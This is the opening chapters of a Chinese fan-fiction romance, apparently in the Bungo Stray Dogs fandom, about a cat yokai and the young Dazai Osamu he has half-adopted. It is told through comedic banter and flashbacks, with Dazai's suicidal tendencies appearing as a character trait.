《小猫咪也能打动黑泥精吗?》
1. 001 聪明的猫妖
白川莲这一回并不是自然醒来的。
严格来说,白川莲近一二三四……好吧,忘了,反正近十年左右,白川莲都不是自然醒来的,而大多是被他在神社外养的一个人类唤醒的。
一提到那个人类,白川莲简直有一肚子的抱怨:
狡猾,黑心,娇气,调皮,无赖,倒打一耙,等等,把白川莲这个之前从来没试着饲养过人类的妖魔简直是闹得焦头烂额。
所以这一次,这个让妖操心的人类又怎么了?
是的,当然是那个柔弱人类的问题,因为会用这个手机联系他的也只有那个人类了。
——他又怎么了?
这样想着,白川莲迷迷糊糊地去摸床头的手机。
白川莲住在神社里,但他的卧室却完全走的现代西式风,并且各种电器一应俱全,是非常赶时髦的妖了。
按理来说,当白川莲伸出手后,他应该先触摸到他柔软的枕头,接着摸到材质细腻纹理华美的香枝木床头柜,最后摸到他的最新款(一年前的最新款)手机才对。
可他摸来摸去,不但没摸到自己的新手机,就连他睡觉前(一年前)放下的睡前读物《如何与你的家庭成员处好关系》、《养儿秘方》、《最佳亲子绘本:我和爸爸》等书籍也消失不见了。
这一刻,白川莲浑浑噩噩的脑袋终于清醒了两分,察觉到了不对。
说起来,他这一次的醒来,似乎没有听到手机铃声?
既然如此,他是被什么唤醒的?
白川莲蓦地睁开眼,眼底一片清明,黄澄澄的虹膜里尖锐的竖瞳如同细线,那属于野兽和妖魔的险恶几乎要在这一瞬间化为实质。
然而,这一切的一切,都在白川莲看到自己卧室里那个突兀出现的人类后消散了。
他眨了眨眼,又眨了眨眼,尖锐的竖瞳悄然消失不见,而他身上那令人毛骨悚然的危险,也如无声的时间一样从他指尖滴落。
当那所有的危机与险恶都消失后,他彻底放松下来,靠坐在床上,微微歪头,不确定道:“太宰君?你怎么会在……我的卧室里?”
坐在房间角落沙发上的人闻言,换了一个姿势,露出了他手里正在阅读的《最佳亲子绘本:我和爸爸》,和他那双似笑非笑的鸢色眼眸。
“莲,真是让我意外啊。”人类没有回答他,只用儿童绘本半遮半掩,露出他漂亮又暗藏险恶的眼睛,“没想到你竟然还会看这种书……”
人类虽然美丽,但着实狡猾。
作为饲养这美丽、不,这糟心人类近十年的妖魔,白川莲心中立即咯噔一下,不用思考都知道这个人类必然要借题发挥、要作天作地了。
如果再早两年、在这人类还是个孩子的时候,他甚至可以在白川莲面前满地打滚!
——猫猫喜欢活泼的孩子,但太活泼的孩子哪怕是猫猫也带不动。
聪明猫猫沉吟两秒,聪明地决定转移话题:“太宰君,你怎么进来的?我应该没有带你来过神社?”
人类刻意把手里的亲子绘本翻得哗哗响,拉长了语调:“你不会觉得这座神社藏得很好吧,莲?”
真的觉得这座神社藏得很好的白川莲委屈,但他不说。
他继续转移话题,沉稳道:“那太宰君你为什么会出现在我的卧室?”
哈!人类,这个问题你总回答不上来了吧?
你总该感到惭愧了吧?!
你总该感到良心不安了吧?!
没有良心的人类淡定回答:“我敲过门了。”
白川莲:“……”
谁说敲过门就可以随便进别人的卧室啦!
到底你是妖魔还是他是妖魔啊!!
白川莲不可思议地看着视线尽头的人类,试图唤醒他的良心。
但没有良心的人就是没有良心,白川莲气恼收回目光,冥思苦想,并再再次试图转移话题:
“我的手机——”
“在我这里。”
这一回,人类更是连装都不装了,直接从口袋里拿出白川莲的手机晃了晃。
白川莲瞪圆了眼睛,震惊不已:“太宰君,你怎么会是这样糟糕的一个人类呀?你就不会感到羞愧吗!”
人类不慌不忙:“我难道不是被莲你养成这样的吗?”顿了顿,他轻晃手里的亲子绘本,用轻柔的、像是在轻咬着什么的语调,慢慢说道,“——Daddy?”
——Daddy。
一个分明简单、单纯、不含半点杂质的单词,落在白川莲的耳中,却不知怎么地让他感到莫名的燥热与羞涩。
而白川莲甚至不知道这份羞耻感从何而来。
明明他的确有一段时间是把这个人类当作幼崽来养的,这样想来,这个称呼似乎的确没什么问题……
可为什么……为什么他却——
原本在白川莲记忆中十分宽大的卧室,此刻不知道为什么莫名显得狭小起来,以致于一妖一人间本该遥远的距离也变得紧迫,就像是能嗅到对方呼吸的温度。
白川莲不自在极了,又是苦恼又是挫败,终于第一百零一次地向这个狡猾的人类举手投降,放弃了跟他绕圈子的想法。
“好吧,好吧……这一次太宰君你又想要做什么?不管你想要做什么,我全都答应,满意了吧。”
反正他也没有拒绝过自己养的这个人类的任何事,再许下一个重复的承诺也不算什么……只不过就这样认输的感觉好丢脸哦。
他难道不应该是个聪明猫猫吗??
白川莲沮丧极了,长长叹气。
但不知道是不是错觉,这一秒的白川莲好像听到了一声轻笑。
柔软,微甜。
像是白川莲还是一只幼猫的时候轻舔过的雨后的青草,有着一股人类难以嗅到的香气与甜蜜。
白川莲叹气的动作一顿,不知道为什么,感到脸上越烫了。
——今天的事可真是一件比一件奇怪。
白川莲心中暗自嘟哝,脑袋尚且糊涂,沙发上的人类却已经跳了起来,放下亲子绘本,轻快来到了白川莲面前,向着床上的白川莲微微俯身。
“三个问题。”人类轻松说着,“回答我三个问题,我就当作什么都不知道哦,比如说某个猫妖罔顾人类幼崽的意愿和再三申明,一边偷偷以Daddy自居,一边却又每次坚持不到一个月就会丢下他跑掉,之类……”
白川莲有点汗流浃背了。
但这并不是因为人类这段听起来轻松实则阴暗爬行的控诉,而是两人此刻的距离!
——这不对吧!等等啊,太宰君!
问题什么的,难道不该等他起来后再问吗?
把他堵在床上是什么操作?
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这个人类……到底怎么了?今天怎么总是在做一些怪事?!
白川莲想要从床上偷偷滑进被子里,但又觉得这样的话会更奇怪,于是他装作若无其事,说道:“你问吧。”
漂亮人类微笑着,一手举起白川莲的手机,一手举起他自己的手机,问道:“为什么我发的十条消息,莲你只会收到一条,甚至一条都没有?”
白川莲甚至都懒得计较这个人类偷偷翻自己手机的行为,不自在地偏了偏头,目光飘向窗外,避开了人类那张本就过分漂亮脸上的过分漂亮的笑。
“我跟你说过的吧,这是沟通彼岸的手机……”
“所以?”
“所以,只有你抱着强烈的意愿、真正想要联系我的时候,它才会响起。”
就像只有当这个人类抱着强烈的意愿、真正想要找到他的时候,他的神社才会出现。
白川莲平铺直叙地说着,不觉得这件事有任何问题。
但不知道为什么,他在现世养的那个漂亮人类却沉默了。
有那么一瞬间,白川莲从这个人类身上嗅到了非常微妙的苦涩,像是一种悲伤,一种近乎自我厌弃的自嘲。
可当白川莲疑惑回头后,那样的气息又消失不见了。
漂亮人类依然在笑着:“第二个问题。”
“嗯?”
“莲,你以前经常在现世行走的,对吧。”
“你怎么知道?”
“不要问这种笨蛋问题。”
“……哦。”
聪明猫猫不高兴了。
但他装作自己完全不在意。
太宰治看着这样的白川莲,忍了忍,到底没忍住,又笑了起来:“莲,你可真是个笨蛋啊……”
明明漂亮人类两次都在说“笨蛋”,但第一声的“笨蛋”只让白川莲感到沮丧,可第二声的“笨蛋”却不知道怎么的,让白川莲心跳莫名有些不稳。
所以……到底发生了什么?
聪明猫妖也是有盲区的!
白川莲脑袋一团浆糊。
但太宰治放下手机的轻响,唤回了白川莲的注意。
太宰治:“莲,为什么这些年你从来没有找过我?”
白川莲眨眨眼,有些卡壳。
太宰治继续问:“是不是只要我不主动找你,你就永远不会来找我?”
白川莲犹豫不答。
太宰治:“才第二个问题,你就要食言了吗,莲?”
白川莲无奈道:“可是……太宰君,你不是一直都很讨厌我吗?”
这一刻,白川莲第一次看到太宰治这个狡猾人类脸上露出了一种……难以分辨、也不知道该如何形容的复杂表情。
白川莲好奇看去,但漂亮人类根本不等白川莲看清楚,就直接上前,坐在他的床上,伸手捂住了他的眼睛。
白川莲:?!
人类,你有点冒昧了。
你比妖魔还缺乏距离感啊!
可是,再一次的,白川莲嗅到了自己年幼时舔过的雨后青草的气息。
柔软的。
甜的。
白川莲下意识舔了舔唇,听到自己勉力控制的心跳彻底脱轨。
漂亮人类叹息出声:“莲,你可真是——”
话锋一转,咬牙切齿:“唯有这一点,你格外笨!”
2. 002 OwO
太宰治绝不会忘掉自己第一次见到白川莲的情景。
毕竟,不论是谁被当作鱼儿从河里用猫尾巴钓起来后——没错,就是猫尾巴——都会印象深刻的。
特别是,当这个人还穿着一件过分华丽繁复、不像现代人的羽织,雪白的头发上顶着两只雪白的猫耳,并且正用一条长长的猫尾就把你整个人提起来,在半空中抖水……在经历了这样诡奇的一幕后,想来只要不是缺心眼,就绝不会忘记造成这次可怕遭遇的罪魁祸首的。
“是个孩子?人类幼崽?唉呀,我还以为是鱼呢……”
当时,在溺亡和苏生中挣扎的太宰治,在半梦半醒间迷迷糊糊地听到了那个罪魁祸首的声音。
“唉,算了,顺着这条河,快回去吧。常世可不是生者的久留之地……唔,不对,等等……”声音自言自语,很不确定的样子,“如果就这样让这孩子顺着河飘出去,他不会被直接淹死吧?”
太宰治:还有这种好事?
十三岁的太宰治手指动了动,非常想要立即醒来,诚恳告诉这位不知道那儿来的妖魔,让他不要多管闲事,现在马上立即放他下河就好。
可没等太宰治找回自己身体的控制前,他就听到某人恍然大悟的声音:
“对了,就这样做吧!”
下一秒,一只远比人类体温要高的手在太宰治的发顶摸了摸。
很轻,但很烫。
“祝你永不溺亡,孩子。”
太宰治:“……”
太宰治:?!
啊?不是?
你在干吗呢?!
——世上怎么会有如此恶毒之诅咒!!
太宰治挣扎着想要大声提出抗议。
但是——
噗通。
他被重新抛回水中,深深沉下。
在他彻底沉入那个充满死亡和恶意的生者的世界之前,太宰治挣扎着想要睁开眼,想要看到底是谁对他做出了如此恶毒的诅咒,还将他抛弃在那个满是朽烂之物的彼岸。
可除了那一双属于野兽的黄澄澄的眼睛外,他什么都没有看到。
“我记……咕噜咕噜……住你了……”
这就是太宰治和白川莲的第一次相见。
所以,之后。
当那个缺心眼的妖魔来到世界的这一端,与他重逢,并一次又一次问他“太宰君,你到底是如何做到身体这样柔弱的同时生命力又如此顽强”的时候。
太宰治也用他充满了属于阴湿水鬼的怨念声音,一次又一次地回答:“这件事难道不该问你吗?”
白川莲听了,低头思考:“如果问我的话,我总感觉哪怕这世上所有人都死了,你都会好好活着呢。”
再也淹不死的可怕水鬼一听,当即炸毛,把河水哗啦啦泼到妖魔身上。
“不准对我做这种恶毒诅咒!”
而完全不知道太宰治在炸毛些什么的白川莲,这时候就会摆出这样的表情:
OwO
于是,十四岁的太宰治,就在无尽阴暗扭曲的爬行中确定了:白川莲,他真的就是一个把所有能力都点在美貌上的美丽蠢货。
别看这家伙是个只存在于传说的妖魔,可事实上,白川莲没有脑袋也没有心机,连记忆都没有——这个可恶家伙真的完全不记得两人的初见,也不记得他对他做了什么!
太可怕了!
世上怎么会有这么笨这么傻这么暴力的大猩猩啊!
而他,太宰治,必然不会败在这个空有一身蛮力却十二分缺心眼的美丽蠢货手上!
他一定要克服这个美丽蠢货对他做出的诅咒,重获溺亡的自由!
自由!!
白川莲,歪头。
OwO
·
太宰治知道,想要从白川莲手里夺回自己溺亡的自由绝不是一件容易的事——主要是因为这个傻子、美丽蠢货、暴力大猩猩,他自己都忘了这件事!
太宰治甚至怀疑,如果自己抓着这只笨蛋猫妖的脚往下抖,恐怕抖下来的猫毛都没有他脑袋里的海水多……所以说世界上怎么会有这样可怕的美丽蠢货啊!!
但,哪怕怀着这样多的抱怨,少年太宰却什么都不肯对白川莲说,哪怕是一个提示都吝于给他。
这固然是因为少年太宰心中的骄傲,让他不肯对白川莲服软半点,但却也有一部分是因为少年太宰心中微妙的胜负欲。
不想输给白川莲。
不想向这个笨蛋认输!
凭什么这个笨蛋诅咒了他,他还要好声好气条理清晰地向这家伙解释前因后果,以此恳求这个笨蛋解开诅咒?
才不要!
绝对不要!
于是,抱着这样微妙生气、抱怨,和不服气的心态,太宰治对两人的初见闭口不言。
并且,十四岁的太宰治坚信,他一定能够凭借自己的力量破除这个可怕诅咒。
因此,当太宰治在十五岁那年意外被暗杀王魏尔伦找上门时,他想,或许这就是他破除那个美丽蠢货的诅咒时刻啦!
开心。
至于森先生的计划什么的……不管,让他去死吧。
怀着奇异的炫耀和胜利之心,太宰治拨通了那个他一只记在心中却从未拨打过的号码。
只是一瞬间,那边的人就接了起来。
“太宰君?怎么了?”
白川莲似乎还未睡醒,声音里还带着浓重困意。
太宰治炫耀道:“我马上就要死了……”所以你的诅咒被他破除啦!
但,还没来得及说完,下一秒,一个身影从天而降,将某个声名赫赫的暗杀王一脚踩晕。
白川莲捏着手机,身上羽织乱糟糟的,一看就是临时披上的,那张虽然愚蠢但实在美丽的脸上满是兴奋:“太宰君你要死了吗?”
太宰治:“……”
太宰治无语指了指他脚下的超越者:“本来是这样的,但那家伙被你踩晕了。”
白川莲:“……”
白川莲不可置信,用谴责目光看了太宰治一眼后,气冲冲走了,背影像
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是在责问他为什么要欺骗一只可爱的小猫咪。
太宰治:“……”
你以为这是谁的错啊!
他还没生气呢你倒是提前气上了?!
太宰治差点没被眼前这家伙给气笑。
但没走两步,漂亮蠢货又转身回来了,像是有什么想不明白的东西,指着太宰治的手背,奇怪道:“太宰君,你在流血?”
太宰治低头看了一眼,发现手背上有一条浅浅的伤口。
那是当暗杀王在被白川莲踩倒后,地上碎石飞溅而来时划开的。
白川莲显然也想起了这件事,露出恍然大悟的表情,然后表情自然地捉住太宰治的手。
是的,白川莲的表情太自然了,动作太理直气壮了,以致于太宰治完全没有防备。
因此,当白川莲低下头来,轻轻张嘴舔过他的手背时,没有半点准备的太宰治几乎当场宕机。
温热的,柔软的,带着细密的倒刺。
——是猫。
不疼,也不让人讨厌,只是带着一种让人骨头都在发麻的痒意。
——是猫。
白川莲抬头,看着恢复如初的皮肤,满意点头:“看,好了。”
——这!只!蠢!猫!
他在做什么啊?!
太宰治猛地抽手后退,比白川莲更像是一只全身毛发都炸起来的恶猫,近乎凶狠地瞪着某个美丽蠢货。
白川莲眨眨眼,终于明白了什么:“太宰君……你这是生气了?”他歪头,缓慢而无辜地眨眼,“奇怪,你怎么又生气了?”
太宰治:“……”
根本什么都没明白啊!
太宰治将手背在身后,脸色难看,用力地蹭着,想要蹭去手背上那处令他头皮发麻的痒意。
可这一切都是徒劳无功。
越是想要忘记的东西,竟记得越发清楚了。
太宰治气急,连脚下的暗杀王都忘了,踩着超愤怒的脚步,迫不及待地想要离开某个拉低一整条街的智商的蠢货。
但走了两步后,太宰治就后悔了。
他觉得自己绝不能就这样离开,便宜那个不知反省的笨蛋,还觉得自己一定要严厉教训白川莲,告诉那个家伙他到底犯下了多大的错误!
可当太宰治停下脚步回头看去时,才发现白川莲已经不知道什么时候消失了。
——他离开了。
太宰治的心情一空,近乎茫然,近乎空白。
——明明在这个蠢猫转身的时候,他没有走,可当他转身的时候,这只蠢猫却自顾自的……离开了?
这一刻,太宰治不知道自己在想什么。
或许他也并不想探究,不想追究……
“呵。”
不追究才怪!!
太宰治面无表情,站在原地,打开手机,劈里啪啦地打字,最后超用力按下了发送键。
【太宰治:蠢猫!!】
叮!
信息回得超快。
【白川莲:OwO】
3. 003 没有讨厌
“回神,莲。”
“你在想什么?”
神社的现代化卧室内,白川莲坐在床上,眨了眨眼,又眨了眨眼。
“你怎么知道我在走神?”白川莲奇怪道,“你甚至都把我的眼睛捂住了。”
此刻,已经整理好自己表情的太宰治收起手,后退一步,站了起来,轻哼道:“为什么知道?这就得问某个天天在我面前走神的家伙了。”
“不是走神。”白川莲委屈,“我只是在想为什么你又在骂我笨——”
“会问出这句话就说明你够笨了。”
“等等——你这是不是在PUA我?”绝不承认自己笨的白川莲立即提出抗议,对着某人指指点点,“你竟然连一只可爱小猫咪都要PUA,太宰,你真的长成了一个超级糟糕的大人!”
糟糕大人发出了一声笑音:“是吗,你不笨的话,那告诉我,我刚刚在跟你说什么?”
一说到这个,白川莲便立即精神了起来:“在说你假装你从来没有讨厌过我。”
“有吗?”
“有!”白川莲斩钉截铁,“你就是讨厌我,从见到我的第一面起,你就在讨厌我。但你一直不承认,还要装作什么事都没有发生,还想要反过来PUA我,然后还要骗我说你没有讨厌我——太糟糕了,太宰,连自己的心情都不敢面对,明明你才是那个笨蛋吧!”
在这一瞬间,非常奇妙的,白川莲看到身前人类那张总是显得苍白的脸上,浮出了细微的红晕,露出了近乎恼羞成怒的表情。
这是一个非常微小的变化,非常短暂地出现。
但它非常生动,也非常好看。
比这个人类少年时期一脸冷漠倦怠的样子好看,比他生气时炸毛骂人的样子好看,比他自杀时如枯叶死寂的样子好看,甚至比他成年后刻意表露出的亲近亲切笑容好看。
好看到连白川莲都莫名心头发痒,就像是被小猫的爪子挠了挠。
……真是奇怪。
白川莲想要再看两眼,可下一秒,糟糕的人类又变成了那副无赖模样。
“我不记得了。”糟糕的大人说起谎话来眼睛都不眨一下。
虽然这个特性在他还是个糟糕的少年的时候就已经出现了。
“我不记得有这件事。”太宰治理直气壮地说,“除非你证明给我看!”
证明?
这还不简单!
白川莲指责:“你十四岁的时候,大冬天跑去入水,后来又自己爬上来了。我关心地问你在河里进进出出干什么,你第一反应就是骂我是笨蛋!”
太宰治:“……”
要不你思考一下为什么普通人进河水里会溺水,而他进水里就变成“进进出出”了?
你甚至还问他“在干什么”?
蠢猫!
听到了吗?蠢猫!!
“不算。”太宰治冷酷说道,“这一条过。”
白川莲震惊:这都不算吗??
白川莲极速思考,很快又找到了一个例子。
“你十五岁那一年,有一次生病很重。”
几乎在白川莲说出口的那一瞬间,太宰治就明白了白川莲指得是哪一次,鸢色的眼睛微微闪烁,长长眼睫轻轻垂下。
十五岁那年,太宰治有一次病得很重。
那是个意外,太宰治没想到夏天去河水里飘一会儿,竟然也会发热。
而更意外的是,烧得有些糊涂的他竟然发了一条空白邮件给了白川莲。
然后白川莲来了,陪伴了他一个晚上。
太宰治很难说清当时的他究竟是什么心情。
但第二天一早,太宰治醒来后的第一反应便是离开。
用森先生的命令这个借口,离开了——或者说逃离了那个突然显得过分狭小的集装箱,也逃离了某个在他身边睡着的笨猫,没有向身后看去一眼。
那时候的他表现得格外冷淡,格外无情。
甚至在白川莲不知道的地方,十五岁的太宰治还生出过抱怨——明明之前他发给白川莲的邮件,这家伙从来都没回过,明明他过去的一年里无论使用什么话术都没办法将这个笨蛋妖魔引诱出来……
为什么只有这一次来得这样快?
他甚至没有在这一封邮件里留下任何信息,不是吗?
为什么白川莲会来?
当时的太宰治有无数的不解。
可如今再回想,当时的答案其实已经非常清楚了。
太宰治抬起眼,静静地看着白川莲,等待着白川莲的戳穿、或者谴责。
都可以。
这是应该的。
但白川莲这个笨蛋猫妖的话,永远不在要点上。
“那一天为了照顾你,我甚至都变成了原型给你抱,而你竟然说我不好看!”白川莲严肃指责,“世上不可能有人类讨厌我这样漂亮的猫,所以你说不好看的答案只有一个——你讨厌我!”
太宰治:“……”
熟悉的气人感和无力感涌上心头。
太宰治揉了揉眉心:“我不是在说你原型不好看。”
白川莲坚持:“你说了。”
“我明明说的是——”
“是什么?”
“……”
这一秒,白川莲又看到了。
那迅速闪过的像是恼羞成怒的可爱表情。
“我是说……”太宰治撇过脸,装作什么事都没有发生,“我说,你作为人类的样子更好看。”
白川莲看着太宰治,不解:
这不就是在说自己的原型不好看……不对!
这一秒,白川莲的脑袋终于转过了第一个弯:等一会儿,这句话有什么好害羞的?
白川莲接着又转过了第二个弯:除非这句话里还隐藏着另一个真正想要表达的讯息。
想到这里,白川莲眨了眨眼:“太宰君?”
“嗯。”
“你——难道是在夸我好看?”
“……”
“在你十五岁烧糊涂了的时候,你看到我的第一反应……是拐弯抹角地夸我变成人类的时候非常好看?”
白川莲一脸茫然。
白川莲不可置信:怎么会有人在发烧后的第一反应是这个啊?
而且,夸就夸了,他白川莲就是这样一款美貌猫猫,有什么不好意思夸的?
为什么这样简单的赞美还要层层加密?一般猫谁听得出来啊?
你是连喜欢都不好意思直说的女高中生吗?!
白川莲想要看太宰治此刻的表情,看这位曾经的女高中生到底在想什么。
但后者非常干脆地上前,再次按住了白川莲的眼睛。
“
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不准看。”
命令猫的时候倒是很硬气。
并且转移话题的速度也非常块。
“所以这件事也不算我讨厌你的证明,你要继续想。”
白川莲果然被转移了注意力,拧眉思考。
“你十六岁那一年,骗我说带我看俄罗斯的老鼠,后来被我戳穿真面目后,你十七岁那一整年都没有联系过我!”
“我在等你联系我。”太宰治完全不心虚,甚至十分幽怨,“但结果证明了如果我不联系你,你就永远不会来找我。”
“那你十八岁那年……”白川莲卡壳瞬间,低声嘟哝,“算了。”
“为什么算了。”太宰治声音不知道什么时候变得柔和,轻软得近乎乖巧,“为什么不说了?”
白川莲顿了顿,说:“其实,太宰君你十七岁之后就再也不打算联络我的了吧?”
“是啊。”
出乎意料的,太宰治竟然干脆承认了。
白川莲道:“但你十八岁那一年,为了救你的朋友,你还是向我低头了。”
“是啊。”太宰治的声音越发轻了。
白川莲叹息:“其实你很讨厌这样吧?向你一个你本来就讨厌、讨厌到再也不愿意联系的人低头……你很生气吧?”
太宰治没有回答,反而问道:“那你呢?”
白川莲:“什么?”
太宰治:“你明知道我讨厌过你,明知道我在利用你,明知道如果没有那个意外的话,我可能永远都不会再来见你……而像我这样讨厌的家伙,为什么你还要一次次来到我的身边?”
白川莲没有犹豫地回答:“因为是你在呼唤我、思念我。”
“只要我呼唤你、思念你,你就会来吗?”
“当然。”
“所以,无论是谁呼唤你、思念你,你都会来吗?哪怕是讨厌你的人?”
“当然——”白川莲流畅的回答开始卡壳,“……不会?”
“那为什么你在觉得我讨厌你的时候,却还要一次次回应我的呼唤,主动现身被我利用?”
白川莲回答不上来。
他思考了许久许久,犹豫而茫然地回道:“因为……因为我觉得,你好像……不是在真的在讨厌我?”
这一刻,一直捂着白川莲眼睛的手松开了。
白川莲又一次看到了那张漂亮的脸,也看到了那双含着近乎潋滟情绪的鸢色眼睛。
“你看,这就是答案。”漂亮人类轻声说,“我没有讨厌你,并且你也一直知道这件事——太宰治没有在讨厌白川莲。”
“但是……但是、那你——”
白川莲又想不明白了。
那些属于人类的复杂情绪,对生活简单的猫咪来说实在不好理解。
特别是当这些复杂的情绪,属于一个本就复杂的人类,并被这个人类以格外复杂的形式表现出来的时候。
白川莲困惑着,像是在问太宰治,又像是在问自己:“但是,如果你不讨厌我……如果这不是讨厌……那它是什么?”
太宰治无奈笑着,目光柔和地看着这个永远都会回应他,永远都会向他走来、向他伸手的妖魔,像是在重复他的问题,又像是在询问一个人。
“是啊。”
太宰治叹息:
“如果不是讨厌,那会是什么呢?”
4. 004 >w^
白川莲是在一个阳光灿烂的午后,第一次见到十四岁的太宰治的。
当时的白川莲正在河的这一边懒洋洋地晒着太阳,仗着没有活人能看到自己,在枪声满天飞的横滨河畔悠哉游哉地支起画架,提笔作画。
白川莲其实不知道自己要画什么,因为他并没有什么艺术细菌。
作为一个拥有自己神社的妖魔,一只活着就是为了划水摸鱼的猫妖,他只知道今天的天气很好,适合晒太阳,但光是晒太阳的话会让猫有负罪感,于是猫决定假装自己其实有在干正事。
而画画——陶冶情操这样高雅的事,怎么不算是正事呢?
他甚至还是顶着枪林弹雨在画画。
“在干正事”的感觉更强烈了对不对?!
只不过,没等白川莲的自欺欺人画进行到第二张,河对岸的上游就爆发了一场冲突。
那实在是一场奇怪的冲突。
因为在冲突爆发前,白川莲没有嗅到任何的预兆——猜忌、阴谋、冲动、血腥,这些妖魔会热爱的一切,都没有被白川莲发觉。
直到第一声枪声响起,白川莲讶然抬眼望去时,就见到一个年轻人像是没站稳一样掉下了河,而岸上留下的人们则不知道为什么发起狂来,拿着枪就是一顿突突突。
浓郁的负面情绪散开,像是洒下了十公斤的辣椒粉,呛得兼职神社主的白川莲连续打了八个喷嚏。
而当白川莲的喷嚏打完后,他泪眼汪汪抬头一看,刚好看到了那个年轻人飘到面前。
好巧啊。
既然都漂过来了,那就看看呗。
白川莲低头看去,而后一怔。
那是一个很年轻也很漂亮的孩子。
他很年轻,或者说很年幼,大概能被尊老爱幼的猫勉强划到“需要爱护的幼崽”的范围里。
并且他还很漂亮,是喜欢臭美的猫也能勉强承认“此人类美貌不在喵之下”的程度。
而当这个孩子在河底睁开眼时,白川莲看到了一只漂亮的鸢色眼睛。
像是枯叶一般静谧,柔和又湿漉漉的。
再加上他满身满脸的绷带,越发像是被雨水打湿的受伤小猫咪,可怜可爱极了。
可是,就是这样一个拥有可怜可爱眼神的幼崽,白川莲却从他身上嗅到了——
怨念。
一股隐藏极深却非常强烈的、指向性超级明确的、像是想要立即变身哥斯拉把他白川莲按在地上一顿暴捶的,怨念!
白川莲:哇塞!
捡到鬼了家人们。
白川莲左看右看,左看右看,终于明白这个人是冲自己来的。
虽然白川莲还不明白这个人类幼崽为什么看得见他,也不明白突发奇想来到现世的自己为何会被一个人类幼崽精准逮住。
但是,真的……好有趣耶!
白川莲亦步亦趋地跟在这个人类幼崽的身旁。
对方顺着河水往下漂,白川莲顺着河岸往下走。
“刚刚的那一切,都是你做的吗?你好聪明啊!”
白川莲好奇含笑,轻声说着。
人类幼崽没有回答,像是没有听懂白川莲的话,就连目光都维持着茫然和懵懂,迷蒙的表情像是挣扎在死亡中的蝴蝶。
在一旁看着的白川莲却忍不住加深了笑意。
多有趣啊。
如此狡猾、漂亮,如此擅于伪装无辜,并且满肚子坏水——这就该是我猫猫一族的崽啊!
想要带他回家。
白川莲俯下身去,凝视着水里的面容,轻声道:“你,是一个因为太过聪明,所以太过孤独,而想要去死的孩子呢。”
水下那双一直伪装如枯叶蝴蝶一般脆弱的眼神,一瞬间就变得可怕了起来。
像是被侵入领地撕破假面后愤怒露出尖爪的幼猫,虽然年幼,但已经足以把冒犯他的人抓出可怕血痕了。
白川莲轻轻歪头,如无辜无知、置身事外的猫咪那样,缓慢地眨了眨眼:“我可以帮你。帮你扫平死亡路上的绊脚石,让你抵达你想要的无痛死亡的结局哦。”
这一刻,一直顺着水飘荡向下的少年停了下来。
他浮出了水面,碎发湿漉漉地贴在脸上,眼睛是黑沉沉的冷光,比黑暗更黑,比河水更冷。
“那么……”他的声音轻飘飘的,“代价呢?”
“你死后的身体。”白川莲矜持微笑,“我一直很想试着当一个聪明人试试呢。”
此乃谎言。
白川莲只是单纯想要带走这个孩子死后的灵魂,带回自己的神社而已。
就像当初神社最初的主人捡到他时那样。
既然人可以捡猫,猫怎么就不能捡人了呢?
也不知道这只聪明的幼崽有没有相信这个浅薄的理由,他定定看着白川莲,倏尔一笑。
“好啊。”
应下的声音也是轻飘飘的,像是随时都会破灭的虚无的泡沫。
白川莲想,像这样身体柔弱,又死志强烈的孩子,一定会很快就会去往他的神社的吧?
但……
一年过去了。
又一年过去了。
白川莲在又一次被幼崽、不,少年叫出来后,手里拿着一只人类随手塞来让他闭嘴的冰激凌,郁闷地一边舔一边进了餐厅,心里沮丧极了。
——这个人类怎么还活着呀?
现在的他,都长得不再可爱了!
就好像猫咪最可爱的阶段,永远都是小小一团、软绵绵的幼崽时期一样,人类最可爱的年纪,也永远都是十四岁以下的幼崽阶段。
当年,这个人类就以他漂亮的脸蛋,让白川莲勉强接受了他的超龄……可他现在都十六岁了!
幼崽长大了,就会脱离软绵绵萌萌哒的模样,从少年人一点点蜕变,逐渐显露他成年后的风姿。
——可成年的人类就不可爱了啊!
一边这样想着,白川莲一边看着翻菜单的人类,随口说道:“太宰君最近交朋友了吧?”
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原本看菜单的人类一顿,抬头看他。
人类什么都没说,但如同老父亲一样把他拉扯大的猫妖也不需要他说什么。
“没有露馅,只是太宰君的心情看起来比前两年要好上许多,心理也健康了很多呢,看来人类果然还是需要朋友的……恭喜哦,太宰君,能遇到合拍的朋友,一定很开心吧。”
少年人全身上下嘴最硬,轻描淡写道:“才没有,你不要在那里自己脑补一些乱七八糟的东西。”
白川莲:“可你今天叫我出来,就是来跟我分享这件事的吧?”
少年总归是不会承认的:“谁会想要跟你分享?笨蛋猫妖,我只是叫你来探店的。”
猫妖老父亲也不在意小朋友的这点嘴硬,继续说道:“不过太宰君,这一次你可要成熟一点了,可不能像之前面对中也君那样老是戏弄别人,否则——”
突然的,白川莲舔冰激淋的动作一顿,抬眼看来。
对面,那个少年人撑着下巴,垂眼看着菜单,神色如常,没有露出半点破绽。
但作为兼职了神灵的妖魔,白川莲可不会这样被糊弄过去。
“太宰君,你是……生气了吗?”白川莲奇怪眨眼,轻轻歪头,“为什么?”
“生气?”少年人先是惊讶,然后脸上露出三分迷茫三分诧异和四分好笑的标准调色盘式表情,笑道,“没有啊,为什么我要生气?”
“但你就是生气了。”白川莲诚实极了,以致于没有给少年人留半点面子,“你明明生气了,就在我说到中也君的时候,你就生气了——对,就像现在这样,你超生气的!”
少年人微笑着:“都说了——我!没!有!生!气!”
白川莲想了想,大胆开麦:“你是觉得我叫你搭档‘中也君’显得太过亲密了?你想要我叫你‘治君’吗?”
少年人终于绷不住了,炸起毛来,把手里的菜单挥得虎虎生风,哐哐往白川莲头上砸。
“不准这样叫我!!”
白川莲作为千年老妖,当然不怕这两下花架子。
但为了哄这个人类开心,他还是屈尊降贵,装模做样地喵喵了两声,装作被人类打得很痛的样子。
但不知道为什么,那个名为太宰的少年好像更生气了,脸上浮出薄薄的红晕,气得像是下一秒要化身奥特曼打死他这个小怪兽。
“你——!以后,不准再刻意观察我!”
白川莲:“我又没刻意——好吧你说什么都对。”
“还要好好叫人!给我按照人类的习惯叫人!”
白川莲:“那,治君——好吧好吧我以后都不这样叫你了。”
“……”
白川莲发出了委屈的喵喵声:“怎么了?我都这么哄你了,为什么你还更生气了呀?”
这次吃完饭后,白川莲走在回神社的路上,收到了某个人余怒未消的邮件。
【太宰治:蠢猫!!】
白川莲想了想。
【白川莲:>w^】
5. 005 ╭(╯^╰)╮
收起手机后,白川莲晃悠悠地回到了自己的神社。
事实上,在饲养人类太宰的这几年里,白川莲便一直在自己的神社和现世之间往返,没有在现世太过逗留。
虽然,在最开始的时候,也就是初见到少年太宰的那一年,白川莲其实是有变成猫咪,大摇大摆地跟那个人类少年去了他的家里,住过一段时间的。
美名其曰,帮忙。
